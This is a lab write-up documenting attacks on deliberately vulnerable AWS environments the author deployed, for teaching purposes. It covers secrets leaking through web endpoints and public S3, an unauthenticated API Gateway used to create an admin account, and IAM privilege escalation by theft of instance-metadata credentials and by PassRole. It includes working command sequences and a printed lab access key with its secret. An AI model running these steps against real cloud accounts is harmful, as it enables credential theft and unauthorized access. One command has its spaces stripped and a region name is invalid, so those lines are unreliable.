Project Zero: Cloud Lab (Part 3)

case study

Attacks

last edited 2026-09-02

I performed a series of controlled attacks against intentionally vulnerable AWS environments to demonstrate how cloud misconfigurations can be discovered and exploited. These scenarios cover exposed secrets, insecure APIs, excessive IAM permissions, public S3 storage, EC2 metadata exposure, and weak VPC network controls, demonstrating realistic attack paths from initial discovery through unauthorized access and privilege escalation.


#Hardcoded Secrets in AWS

-projectzero-prod-vpc has been created with subnets configured.

-My-Desktop-Key-Pair key pair exists.

I deployed an intentionally vulnerable AWS environment to simulate a hardcoded secrets exposure scenario. The environment uses a CloudFormation template to provision the resources required for the attack path, including an EC2 instance and an exposed S3 configuration bucket.

1.Deploy Vulnerable Environment

I deployed the hardcoded-secrets CloudFormation template into projectzero-prod-vpc to create the intentionally vulnerable AWS resources used for the attack simulation.

Configure Parameters:

-Stack Name: delete-me-hardcoded-secrets-1

-Key Pair: My-Desktop-Key-Pair

-VPC: projectzero-prod-vpc

-Subnet: Public subnet

Deployed the intentionally vulnerable AWS environment using CloudFormation.
Deployed the intentionally vulnerable AWS environment using CloudFormation.

2.Access the Vulnerable EC2 Instance

After the CloudFormation deployment completed, I retrieved the public IP address of the provisioned EC2 instance in preparation for connecting to the host and configuring the vulnerable application.

Retrieved the public IP address of the EC2 instance provisioned by the CloudFormation stack.
Retrieved the public IP address of the EC2 instance provisioned by the CloudFormation stack.

plain text
# Get the EC2 instance public IP
PUBLIC_IP=$(awscloudformationdescribe-stacks\
--stack-namehardcoded-secrets\
--query'Stacks[0].Outputs[?OutputKey==`EC2PublicIP`].OutputValue'\
--outputtext)

echo"EC2 Public IP:$PUBLIC_IP"

Using the public IP retrieved from the CloudFormation stack outputs, I connected to the provisioned EC2 instance over SSH using the configured key pair.

ssh -i ~/.ssh/My-Desktop-Key-Pair.pem ec2-user@$PUBLIC_IP

Established SSH access to the EC2 instance provisioned for the attack scenario.
Established SSH access to the EC2 instance provisioned for the attack scenario.

3.Initialize the Vulnerable Application

I executed the provided setup script on the EC2 instance to initialize the intentionally vulnerable web application and prepare the environment for the hardcoded secrets attack scenario.

sudo ./setup-vulnerable-app.sh

Executed the setup script to initialize the vulnerable application environment.
Executed the setup script to initialize the vulnerable application environment.

4.Verify the Application is Running

After initialization, I verified that the web application was accessible over port 8080. The application was running successfully and exposed only a basic landing page, providing the starting point for subsequent enumeration.

Verified that the vulnerable ProjectZero application was running and accessible over port  8080 .
Verified that the vulnerable ProjectZero application was running and accessible over port 8080.

The application was running successfully and exposed only a basic landing page, providing the starting point for subsequent enumeration.

5.Enumerate the Web Application

I performed directory enumeration against the web application using Gobuster and identified several exposed endpoints, including /health, /config, and /env. The /config and /env endpoints were particularly significant because they exposed application configuration and credential information.

gobuster dir -u http://51.20.76.240:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Directory enumeration identified exposed application endpoints, including  /config  and  /env .
Directory enumeration identified exposed application endpoints, including /config and /env.
Directory enumeration identified exposed application endpoints, including  /config  and  /env .
Directory enumeration identified exposed application endpoints, including /config and /env.

6.Investigate Exposed Configuration

I manually inspected the discovered endpoints and found that /config disclosed information about an S3-hosted configuration file, while /env directly exposed hardcoded database and AWS credentials. This demonstrated how sensitive application configuration could be accessed without authentication.

The exposed  /config  endpoint revealed the location of an S3-hosted application configuration file.
The exposed /config endpoint revealed the location of an S3-hosted application configuration file.
The exposed  /env  endpoint disclosed hardcoded database and AWS credentials.
The exposed /env endpoint disclosed hardcoded database and AWS credentials.

7.Enumerate the Exposed S3 Bucket

Using the S3 bucket information exposed by the application, I tested anonymous access to the bucket and successfully enumerated the config/ prefix. This revealed an accessible app-config.json configuration file.

bash
aws s3 ls s3://delete-me-hardcoded-secrets-1-secrets-261414899169 --no-sign-request

aws s3 ls s3://delete-me-hardcoded-secrets-1-secrets-261414899169/config --no-sign-request

aws s3 ls s3://delete-me-hardcoded-secrets-1-secrets-261414899169/config/ --no-sign-request
Anonymous S3 enumeration revealed the exposed  config/app-config.json  file.
Anonymous S3 enumeration revealed the exposed config/app-config.json file.

8.Retrieve Exposed Configuration

I downloaded the publicly accessible app-config.json file without AWS authentication and inspected its contents. The configuration contained additional hardcoded database and AWS credentials, demonstrating how the S3 exposure extended the application's secret leakage beyond the web endpoints.

cat app-config.json

Retrieved and inspected the exposed S3 configuration file containing hardcoded credentials.
Retrieved and inspected the exposed S3 configuration file containing hardcoded credentials.

#Insecure API Gateway

-projectzero-prod-vpc has been created with subnets configured.

-My-Desktop-Key-Pair key pair exists.

I deployed a deliberately insecure REST API Gateway to simulate a cloud application exposed without authentication. The environment was intentionally configured with public API access and weak backend security controls, allowing me to test the API from an unauthenticated attacker perspective.

1.Deploy Insecure API Gateway

I deployed the insecure-api-gateway.yaml CloudFormation template using the insecure-api-gateway stack. The template provisions a publicly accessible REST API Gateway with no API key or IAM authentication, backed by a Lambda function with intentionally excessive S3 and DynamoDB permissions. The API is also deployed without rate limiting or throttling, creating an intentionally vulnerable environment for testing insecure API access.

Uploaded the  insecure-api-gateway.yaml  CloudFormation template to deploy the intentionally vulnerable API environment.
Uploaded the insecure-api-gateway.yaml CloudFormation template to deploy the intentionally vulnerable API environment.
Retrieved the public Invoke URL for the deployed API Gateway.
Retrieved the public Invoke URL for the deployed API Gateway.

2.Verify Public API Access

I sent an unauthenticated request directly to the API Gateway Invoke URL and received a successful response, confirming that the API was publicly reachable.

curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod

Confirmed that the API Gateway responded to a request without credentials or authentication tokens.
Confirmed that the API Gateway responded to a request without credentials or authentication tokens.

3.Verify Missing Authentication Controls

I sent an unauthenticated request to inspect the API response headers. The endpoint returned HTTP/2 200 without requiring an API key, IAM credentials, or authorization token, confirming that authentication was not enforced.

curl -I https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod

Confirmed unauthenticated access to the API Gateway through a successful HTTP 200 response.
Confirmed unauthenticated access to the API Gateway through a successful HTTP 200 response.

##Enumeration Phase

1.Enumerate API Endpoints

I queried several likely API paths to identify accessible endpoints and analyze the information returned by the application. The /users, /data, and /admin endpoints exposed useful information, including user records, application data, API keys, database connection details, AWS credentials, and administrative functionality.

plain text
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/api; echo

curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/v1; echo

curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo

curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/data; echo

curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/admin; echo
Enumerated exposed API endpoints and identified sensitive application, database, AWS, and administrative information.
Enumerated exposed API endpoints and identified sensitive application, database, AWS, and administrative information.

2.Test Supported HTTP Methods

I tested additional HTTP methods against the exposed /users endpoint to determine which operations were available without authentication. While several methods were rejected, an unauthenticated POST request successfully created a new user, demonstrating that the API exposed write functionality without enforcing authorization.

plain text
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo

curl -X GET https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo

curl -X POST https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo

curl -X DELETE https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo

curl -X PATCH https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users; echo
Tested multiple HTTP methods and confirmed that the exposed API allowed an unauthenticated user creation operation.
Tested multiple HTTP methods and confirmed that the exposed API allowed an unauthenticated user creation operation.

3.Enumerate Individual User Data

I queried the newly created user3 account directly and retrieved its user details, including the assigned role, permissions, and API key, confirming that individual account information could also be accessed through the exposed API.

plain text
curl -X GET https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users/user3; echo
Retrieved the newly created user record and exposed account information, including its API key and assigned permissions.
Retrieved the newly created user record and exposed account information, including its API key and assigned permissions.

##Exploitation Phase

After identifying exposed endpoints and unsupported access controls during enumeration, I used the discovered API functionality to demonstrate the impact of the misconfiguration. The exposed API allowed sensitive administrative information to be retrieved and resources to be created without authentication.

1.Extract Sensitive Administrative Data

I accessed the exposed /admin endpoint without authentication and retrieved administrative information, including database connection details and AWS credentials. This demonstrated that sensitive backend configuration data was directly accessible through the public API.

plain text
curl https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/admin
Retrieved sensitive database and AWS configuration data from the exposed  /admin  endpoint without authentication.
Retrieved sensitive database and AWS configuration data from the exposed /admin endpoint without authentication.

2.Perform Unauthorized User Creation

I tested unauthenticated POST requests against the /users endpoint to determine whether new accounts could be created and assigned elevated privileges. The initial request successfully created user4, although the requested admin role was not applied. I then submitted a second request that successfully created the attacker account with the admin role, demonstrating unauthorized account creation and privilege assignment through the exposed API.

plain text
curl -X POST https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users/ \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","role":"admin"}'
Created  user4  through an unauthenticated API request, confirming unauthorized user creation.
Created user4 through an unauthenticated API request, confirming unauthorized user creation.

plain text
curl -X POST https://w3jrm19joa.execute-api.eu-north-1.amazonaws.com/prod/users \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","role":"admin"}'
Successfully created the  attacker  account with the  admin  role through the exposed API.
Successfully created the attacker account with the admin role through the exposed API.

3.Assess Backend Exposure

The API responses exposed AWS credential material and indicated that the backend Lambda function had access to S3 and DynamoDB resources. Because the credentials used in the lab were intentionally nonfunctional, I did not attempt to authenticate to AWS with them or validate the backend permissions directly.

4.Security Impact

This scenario demonstrated how an unauthenticated API Gateway can expose sensitive backend information and allow unauthorized operations. Combined with excessive Lambda permissions, the misconfiguration could lead to data exposure, unauthorized modification, lateral movement, or broader access to AWS resources if valid credentials were compromised.


#Insecure IAM Permissions

I deployed an intentionally vulnerable AWS IAM environment to demonstrate how excessive permissions and weak role configurations can create a privilege-escalation path. The lab is structured as a chained attack scenario in which each IAM misconfiguration provides the access required to progress to the next stage.

1.Deploy Vulnerable IAM Environment

I deployed the insecure-iam-permissions CloudFormation stack to create the intentionally vulnerable IAM environment. The stack provisions a restricted lab user, an overly permissive admin role, an EC2 instance with wildcard (:*) S3 and EC2 permissions, a sensitive S3 bucket, a user with iam:PassRole, and a privileged role that serves as the final escalation target.

Deployed the intentionally vulnerable IAM environment using the  insecure-iam-permissions  CloudFormation stack.
Deployed the intentionally vulnerable IAM environment using the insecure-iam-permissions CloudFormation stack.

2.Verify Lab Resources

I reviewed the CloudFormation stack outputs to verify that the resources required for each stage of the attack chain were successfully provisioned, including the lab user credentials, admin role, EC2 instance, sensitive S3 bucket, vulnerable IAM user, and privileged role.

Verified the CloudFormation outputs containing the resources and credentials used throughout the IAM attack chain.
Verified the CloudFormation outputs containing the resources and credentials used throughout the IAM attack chain.

3.Configure the Initial Lab User

I configured a dedicated AWS CLI profile using the lab user's access credentials and verified the active identity with AWS STS. This restricted IAM user serves as the initial access point for the attack chain and has limited permissions to enumerate IAM resources and assume the vulnerable admin role.

c
aws configure set aws_access_key_id <LabUserAccessKeyId> --profile lab-user
aws configure set aws_secret_access_key <LabUserSecretAccessKey> --profile lab-user
aws configure set region us-north-1 --profile lab-user
aws sts get-caller-identity --profile lab-user
Configured the  lab-user  AWS CLI profile and verified the initial IAM identity with AWS STS.
Configured the lab-user AWS CLI profile and verified the initial IAM identity with AWS STS.

##Scenario 1: Assume an Overly Permissive Admin Role

1.Enumerate IAM Roles

I used the restricted lab-user profile to enumerate IAM roles and identified the admin role as a potential privilege-escalation target.

Lists every role in the account:

c
aws iam list-roles --query 'Roles[*].[RoleName,Arn]' --output table --profile lab-user
Enumerated IAM roles and identified the  admin  role accessible to the restricted lab user.
Enumerated IAM roles and identified the admin role accessible to the restricted lab user.

2.Identify Excessive Permissions

I enumerated the inline policies attached to the admin role and inspected the FullAccessPolicy. The policy allowed all actions (Action: "*") against all resources (Resource: "*"), effectively granting unrestricted administrative access.

c
aws iam list-role-policies --role-name admin --profile lab-user
aws iam get-role-policy --role-name admin --policy-name FullAccessPolicy --profile lab-user
Identified the  FullAccessPolicy  granting unrestricted actions against all AWS resources.
Identified the FullAccessPolicy granting unrestricted actions against all AWS resources.

3.Assume the Admin Role

I used the lab user's permitted sts:AssumeRole capability to assume the vulnerable admin role. AWS STS returned temporary credentials consisting of an AccessKeyId, SecretAccessKey, and SessionToken.

c
aws sts assume-role --role-arn arn:aws:iam::261414899169:role/admin --role-session-name ctf-admin --profile lab-user
Successfully assumed the overly permissive  admin  role and obtained temporary AWS STS credentials.
Successfully assumed the overly permissive admin role and obtained temporary AWS STS credentials.

4.Verify Privilege Escalation

I exported the temporary STS credentials and queried the active AWS identity. The returned ARN confirmed that the session was operating as the assumed admin role, completing the privilege escalation from the restricted lab user to full administrative access.

c
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>
aws sts get-caller-identity
Verified successful privilege escalation from the restricted lab user to the assumed  admin  role.
Verified successful privilege escalation from the restricted lab user to the assumed admin role.

##Scenario 2: Exploit Wildcard EC2 and S3 Permissions

With admin credentials you can see all resources, including an EC2 instance that has a role with wildcard S3 and EC2 permissions. Get onto that instance and steal its credentials. From there we could use them to access S3 or other AWS resources (e.g. list buckets, read the sensitive bucket).

1.Identify the EC2 Instance

Using the administrative access obtained in Scenario 1, I enumerated EC2 instances and identified an instance associated with the insecure-iam-perms-wildcard-permissions-role instance profile. This instance became the target for obtaining its attached IAM role credentials.

c
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,IamInstanceProfile.Arn]' --output table
Enumerated EC2 instances and identified the instance associated with the wildcard-permission IAM role.
Enumerated EC2 instances and identified the instance associated with the wildcard-permission IAM role.

2.Access the EC2 Instance

I connected to the identified EC2 instance over SSH using the configured lab key pair, gaining shell access to the instance hosting the vulnerable IAM role.

c
ssh -i ~/.ssh/My-Desktop-Key-Pair.pem ec2-user@13.63.146.64
Established SSH access to the EC2 instance associated with the vulnerable IAM instance profile.
Established SSH access to the EC2 instance associated with the vulnerable IAM instance profile.

3.Retrieve and Verify Instance Role Credentials

From the compromised EC2 instance, I queried the instance metadata service to retrieve the temporary credentials associated with its IAM role. I then exported the returned AccessKeyId, SecretAccessKey, and Token and verified the active AWS identity, confirming access as the insecure-iam-perms-wildcard-permissions-role.

c
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
Retrieved temporary AWS credentials associated with the EC2 instance role through the instance metadata service.
Retrieved temporary AWS credentials associated with the EC2 instance role through the instance metadata service.
Verified the retrieved credentials were operating as the vulnerable wildcard-permission IAM role.
Verified the retrieved credentials were operating as the vulnerable wildcard-permission IAM role.

4.Access S3 with the Compromised Role

I used the compromised EC2 role credentials to enumerate S3 buckets. The request succeeded and exposed the available buckets, including the lab's sensitive S3 bucket, demonstrating the impact of the role's wildcard S3 permissions.

aws s3 ls

Enumerated S3 buckets using the compromised EC2 role credentials and identified the lab's sensitive S3 bucket.
Enumerated S3 buckets using the compromised EC2 role credentials and identified the lab's sensitive S3 bucket.

##Scenario 3: Privilege Escalation via PassRole

Using credentials for the vulnerable IAM user, I investigated its assigned permissions and identified a privilege-escalation path through iam:PassRole. The user could pass a highly privileged IAM role to an EC2 instance, creating a path to obtain the privileged role's credentials through the EC2 Instance Metadata Service (IMDS).

1.Configure the Vulnerable User

I configured a dedicated AWS CLI profile using the vulnerable user's access keys from the CloudFormation stack outputs and verified the active identity with AWS STS.

Configured the vulnerable IAM user credentials and verified the active identity using AWS STS.
Configured the vulnerable IAM user credentials and verified the active identity using AWS STS.

plain text
aws configure set aws_access_key_id AKIATZXMKZXQ6VOZFWG2 --profile vuln-lab-user
aws configure set aws_secret_access_key "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" --profile vuln-lab-user
aws configure set region eu-north-1 --profile vuln-lab-user
aws sts get-caller-identity --profile vuln-lab-user
Screenshot from project documentation

User: insecure-iam-perms-vulnerable-user

2.Identify the PassRole Privilege-Escalation Path

I reviewed the vulnerable user's IAM policy and confirmed that it allowed iam:PassRole and ec2:RunInstances. These permissions allow the user to pass an IAM role to a newly launched EC2 instance, creating a privilege escalation path if a more privileged role can be assigned.

plain text
aws iam list-user-policies --user-name insecure-iam-perms-vulnerable-user
aws iam get-user-policy --user-name insecure-iam-perms-vulnerable-user --policy-name PassRolePolicy
aws iam list-instance-profiles --query 'InstanceProfiles[*].[InstanceProfileName,Roles[0].RoleName]' --output table
Identified  iam:PassRole  and  ec2:RunInstances  permissions that could be combined for privilege escalation.
Identified iam:PassRole and ec2:RunInstances permissions that could be combined for privilege escalation.

3.Launch an EC2 Instance with the Privileged Role

Using the vulnerable user's permissions, I launched a new EC2 instance and assigned the privileged IAM instance profile to it. The successful launch confirmed that the vulnerable user could pass the higher-privileged role to an EC2 instance, providing a path to the privileged role's AWS credentials through instance metadata.

Retrieved the privileged role, subnet, and security group values required to launch the EC2 instance.
Retrieved the privileged role, subnet, and security group values required to launch the EC2 instance.

c
SUBNET_ID=<PublicSubnetId from Outputs>
SG_ID=<SecurityGroupId from Outputs>
PROFILE_NAME=<PrivilegedInstanceProfileName from Outputs>

aws ec2 run-instances \
  --image-id ami-0ef91fd8b3791aac0 \
  --instance-type t3.micro \
  --iam-instance-profile Name=$PROFILE_NAME \
  --key-name My-Desktop-Key-Pair \
  --subnet-id $SUBNET_ID \
  --security-group-ids $SG_ID
Successfully launched an EC2 instance with the privileged IAM instance profile attached.
Successfully launched an EC2 instance with the privileged IAM instance profile attached.

The successful instance launch confirmed that the vulnerable user could use iam:PassRole to attach the privileged IAM role to a new EC2 instance. From this point, an attacker could access the instance and retrieve the role's temporary credentials from the instance metadata service, completing the privilege escalation to administrative access.



#Exploit Misconfigured S3 Bucket

I deployed a deliberately misconfigured Amazon S3 bucket with public read access and populated it with simulated sensitive data. I then demonstrated how an unauthenticated attacker could discover the exposed bucket, enumerate its contents, and retrieve sensitive files without AWS credentials.

1.Deploy the Misconfigured S3 Bucket

I deployed the misconfigured-s3-bucket.yaml CloudFormation template to create a deliberately exposed S3 bucket. The bucket was configured to permit public access, creating a realistic cloud storage misconfiguration that could allow unauthenticated users to discover and access stored objects.

Screenshot from project documentation
Screenshot from project documentation
Successfully deployed the deliberately misconfigured  delete-me-projectzero-leaky-bucket  S3 bucket.
Successfully deployed the deliberately misconfigured delete-me-projectzero-leaky-bucket S3 bucket.

2.Populate the Bucket with Sensitive Test Data

I populated the bucket with simulated sensitive data representing information commonly exposed through insecure cloud storage, including database credentials, customer records, access logs, and API keys. The files were organized across config/, backups/, logs/, and secrets/ prefixes to simulate a realistic storage environment.

c
# Get the bucket name from CloudFormation outputs
BUCKET_NAME=$(aws cloudformation describe-stacks \
  --stack-name misconfigured-s3-bucket \
  --query 'Stacks[0].Outputs[?OutputKey==`BucketName`].OutputValue' \
  --output text)

# Create sample sensitive files
echo '{"db_host":"prod-database.internal","db_user":"admin","db_password":"SuperSecretPassword123!","db_name":"customer_data"}' > /tmp/database-credentials.json

echo 'user_id,email,ssn,credit_card
1,user@example.com,123-45-6789,4532-1234-5678-9010
2,admin@company.com,987-65-4321,5555-1234-5678-9010' > /tmp/user-data-backup.csv

echo '2024-01-15 10:30:45 - Admin accessed sensitive data
2024-01-15 10:31:12 - User downloaded customer records
2024-01-15 10:32:00 - Database backup completed' > /tmp/access-logs.txt

echo 'AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
API_KEY=sk_live_51HqSOFKmS3g3E5rK9XpZ8dN2vL6mQ7wT4yU9i' > /tmp/api-keys.txt

# Upload files to S3
aws s3 cp /tmp/database-credentials.json s3://$BUCKET_NAME/config/database-credentials.json
aws s3 cp /tmp/user-data-backup.csv s3://$BUCKET_NAME/backups/user-data-backup.csv
aws s3 cp /tmp/access-logs.txt s3://$BUCKET_NAME/logs/access-logs.txt
aws s3 cp /tmp/api-keys.txt s3://$BUCKET_NAME/secrets/api-keys.txt

# Clean up local files
rm /tmp/database-credentials.json /tmp/user-data-backup.csv /tmp/access-logs.txt /tmp/api-keys.txt
Uploaded simulated database credentials, customer data, access logs, and API keys to the vulnerable S3 bucket.
Uploaded simulated database credentials, customer data, access logs, and API keys to the vulnerable S3 bucket.
Confirmed the simulated sensitive objects were successfully stored in the S3 bucket.
Confirmed the simulated sensitive objects were successfully stored in the S3 bucket.

3.Verify Unauthenticated Public Access

I tested the S3 bucket using an unsigned request and confirmed that its contents could be listed without AWS credentials. The successful response exposed the backups/, config/, logs/, and secrets/ prefixes, confirming that the bucket permitted public read access.

aws s3 ls s3://delete-me-projectzero-leaky-bucket --no-sign-request

Confirmed unauthenticated access to the S3 bucket using an unsigned request.
Confirmed unauthenticated access to the S3 bucket using an unsigned request.

4.Enumerate Exposed S3 Objects

After confirming public access, I enumerated the bucket contents to identify potentially sensitive objects. The results exposed database credentials, customer backup data, access logs, and API keys across multiple S3 prefixes.

c
# List all objects
aws s3 ls s3://delete-me-projectzero-leaky-bucket --recursive --no-sign-request

# Get detailed information about objects
aws s3api list-objects-v2 \
  --bucket delete-me-projectzero-leaky-bucket \
  --no-sign-request \
  --query 'Contents[*].[Key,Size,LastModified]' \
  --output table
Enumerated the publicly accessible bucket and identified multiple objects containing potentially sensitive information.
Enumerated the publicly accessible bucket and identified multiple objects containing potentially sensitive information.

5.Extract Exposed Database Credentials

I downloaded the exposed database-credentials.json object using an unsigned request and inspected its contents. The file revealed simulated production database connection information, including an administrative username and password, demonstrating how the S3 misconfiguration could lead directly to sensitive credential exposure.

Downloaded the exposed database configuration without authentication and recovered simulated administrative credentials.
Downloaded the exposed database configuration without authentication and recovered simulated administrative credentials.

#Metadata SSRF Attack on EC2

Using URLs to exploit the medatada service

Screenshot from project documentation
Screenshot from project documentation

#Open VPC Configuration

I deployed a deliberately vulnerable AWS VPC containing a public EC2 instance protected by overly permissive network controls. The environment exposed multiple high-value ports to the internet through an open security group and permissive Network ACL, demonstrating how weak network configuration can unnecessarily increase the attack surface of cloud infrastructure.

1.Deploy the Vulnerable VPC

I deployed the open-vpc.yaml CloudFormation template, which created a vulnerable VPC with a public subnet and internet-facing EC2 instance. The environment intentionally used an overly permissive security group exposing high-value ports and a permissive Network ACL allowing unrestricted traffic.

Screenshot from project documentation
Screenshot from project documentation
Deployed the vulnerable VPC environment and identified the public EC2 instance and associated network resources.
Deployed the vulnerable VPC environment and identified the public EC2 instance and associated network resources.

2.Verify External Exposure

I tested connectivity to the EC2 instance from an external system to determine whether services were reachable from the internet. SSH (22) and HTTP (80) were externally accessible, confirming that the security group permitted inbound connections from untrusted networks.

Confirmed that SSH and HTTP were externally reachable on the public EC2 instance.
Confirmed that SSH and HTTP were externally reachable on the public EC2 instance.
Accessed the web service directly through the EC2 instance's public IP address.
Accessed the web service directly through the EC2 instance's public IP address.

3.Enumerate Exposed Services

I enumerated several high-value ports and services exposed by the EC2 instance. SSH and HTTP were reachable, while other tested ports did not have active services listening. The results demonstrate that permissive security group rules can expose any service that becomes available on an allowed port.

Enumerated high-value ports and confirmed externally reachable SSH and HTTP services.
Enumerated high-value ports and confirmed externally reachable SSH and HTTP services.

4.Security Impact

The VPC configuration unnecessarily exposes an internet facing EC2 instance through overly permissive security group and Network ACL rules. Although only actively listening services were reachable during testing, allowing high value ports from unrestricted sources increases the attack surface and could expose SSH, RDP, databases, or other services to reconnaissance and attack if those services become active.


#Why This Matters

These attacks demonstrate how common AWS misconfigurations can expose sensitive data, credentials, and infrastructure. When combined, weaknesses in IAM, APIs, storage, networking, and credential management can create attack paths leading to unauthorized access and privilege escalation.